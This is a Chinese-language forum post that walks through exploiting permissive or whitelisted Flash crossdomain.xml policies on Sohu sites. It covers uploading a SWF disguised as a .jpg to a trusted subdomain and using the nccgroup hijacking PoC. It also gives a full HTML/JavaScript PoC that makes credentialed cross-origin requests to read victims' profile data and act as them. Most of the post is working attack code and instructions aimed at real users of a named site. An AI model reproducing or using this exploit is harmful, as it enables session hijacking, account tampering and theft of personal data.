漏洞利用一: 目标站点crossdomain文件配置星号,例如 那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。 PS:这个搜狐的新闻站并没有什么敏感操作,所以跨域请求并没有意义,只能获取一下它的html源码,这里只是举例
(上面写上可信域的swf地址,下面写上要劫持的页面,比如个人中心,data写上要发送的请求,比如改名请求,当受害者访问这个swf时,就会对其个人中心的名字进行改名请求。)
这个POC源码在git上,链接:[url=https://github.com/nccgroup/CrossSiteContentHijacking]https://github.com/nccgroup/CrossSiteContentHijacking (下载回来打开html文件即可)
接下来需要做的,就是找到一个有敏感操作又配置了*号的站点,然后使用此poc生成你需要劫持的操作,如修改昵称、关注某人等 使用方法,如果是Get直接填写Target Page,如果是Post,填写好POST Data,然后点击Show url with Parameters即可生成链接,然后使用短链接即可(你需要把此项目放在服务器也就是公网上,或者你可以放在百度云新浪云或者任意一个shell上)
漏洞利用二: 然而各大站点都有这种跨域的安全意识,所以他们会把有敏感操作的站点设置各种信任域,例如:(搜狐的用户中心) - <allow-access-from domain="*.sohu.com" />
- <allow-access-from domain="*.sohu.com.cn" />
- <allow-access-from domain="*.itc.cn" />
复制代码也就是说,只有这些信任域的flash才能与它进行通讯,但是这样也并不安全,我们只需要让flash在这其中任意一个域下即可,简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..(我这里指的没有过滤仅指没有过滤文件内容,如果你可以控制后缀和路径还能让它解析的话那就拿shell吧) 找了一会,找到上传点(漏洞还未公开这里不方便公布),我们将swf后缀改为jpg,然后上传,得到: http://****.sohu.com/2015******.jpg 接下来你可以又可以使用上面的POC进行劫持操作了,当然也有大牛自己写的版本。 POC: - <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gbk"/>
- <title>csrftest</title>
- <script>
- function Connection(Sendtype,url,content,callback){
- if (window.XMLHttpRequest){
- var xmlhttp=new XMLHttpRequest();
- }
- else{
- var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
- }
- xmlhttp.onreadystatechange=function(){
- if(xmlhttp.readyState==4&&xmlhttp.status==200)
- {
- callback(xmlhttp.responseText);
- }
- }
- xmlhttp.open(Sendtype,url,true);
- xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- xmlhttp.withCredentials = "true";
- xmlhttp.send(content);
- }
-
- function sendToJavaScript(strData){
- var theDiv = document.getElementById("HijackedData");
- var content = document.createTextNode(strData);
- theDiv.appendChild(content);
- theDiv.innerHTML += '<br/>'
- //var posturl = ""; //如果是post,请去掉这三行的注释
- //var postdata= "";
- //Connection("POST",posturl,postdata,function(callback){});
-
- }
- </script>
- </head>
- <body>
- <div id=HijackedData></div>
- <object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/upload/2015.jpg"> //你上传的图片后缀的flash
- <param name="AllowScriptAccess" value="always">
- <param name="flashvars" value="input=http://127.0.0.1"> //你要请求的地址
- </object>
- </body>
- </html>
复制代码最后让用户访问你构造的POC页面,即可达到劫持的效果 如图,成功跨域获取带有搜狐cookie用户的用户名以及其他资料,当然你还可以模拟其他任何操作,基本用户能做什么,你就能做什么。
相关资料: [url=http://www.freebuf.com/articles/web/37432.html]http://www.freebuf.com/articles/web/37432.html 案例: POC:
Just a fun!
|